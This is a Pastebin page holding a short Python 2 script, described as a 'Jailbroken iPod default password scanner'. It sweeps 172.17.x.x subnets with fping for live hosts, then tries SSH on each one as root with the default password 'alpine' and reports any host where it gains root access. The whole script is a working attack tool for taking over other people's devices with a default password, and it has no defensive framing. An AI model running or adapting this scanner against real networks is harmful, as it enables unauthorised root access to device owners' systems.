Advertisement
Guest User

Untitled

a guest
Jul 2nd, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.63 KB | None | 0 0
  1. #Jailbroken iPod default password scanner, make sure you install fping
  2.  
  3.  
  4. import paramiko
  5. import os
  6. import sys
  7.  
  8. ssh = paramiko.SSHClient()
  9. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  10.  
  11.  
  12. #find hosts on LAN
  13. print '[Attempting to scan...]'
  14. import os
  15.  
  16. #fping 171.17.0/24.0/24
  17.  
  18. count = 0
  19. def run():
  20.     global count
  21.     if count == 24:
  22.     return
  23.     s_count = str(count)
  24.     try:
  25.     os.system("fping -a -g 172.17."+s_count+".0/24 > output"+s_count+".txt")
  26.     except:
  27.     print "Error"
  28.     pass
  29.     count = count+1
  30.     run()
  31. run()
  32. print "Merging"
  33.  
  34. count = 0
  35.  
  36. def merge():
  37.     global count
  38.     s_count = str(count)
  39.     x = open("output"+s_count+".txt", "r")
  40.     contents = x.read().split('\n')
  41.     x.close()
  42.     x = open("merge", "a")
  43.     for f in contents:
  44.     print f
  45.     x.write(f+'\n')
  46.     x.close()
  47.     count = count + 1
  48.    
  49.     try:
  50.     merge()
  51.     except:
  52.     pass
  53. merge()
  54.  
  55. print '[Scan done...]'
  56.  
  57.  
  58.  
  59. file = open('merge', 'r')
  60. ip_list = file.read().split("\n")
  61. file.close()
  62. ip_length = len(ip_list)-1
  63.  
  64. count = 0
  65.  
  66. print "[Testing " +str(ip_length)+ " hosts]"
  67.  
  68. #test all the hosts
  69. def scan():
  70.     global count
  71.    
  72.     if count == ip_length:
  73.     return
  74.     try:
  75.    
  76.     ip_list[count] = ip_list[count].replace(" ","")
  77.     print "Trying ["+ip_list[count]+"]"
  78.     ssh.connect(ip_list[count], username="root", password="alpine")
  79.     stdin, stdout, stderr = ssh.exec_command("whoami")
  80.     if stdout.read().split("\n")[0] == "root":
  81.         raw_input("ROOT ACCESS, HOST="+ip_list[count])
  82.        
  83.     else:
  84.         ssh.close()
  85.     except:pass
  86.     count = count + 1
  87.     scan()
  88.    
  89.    
  90. scan()
  91.    
  92.    
  93. raw_input("Scan completed")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement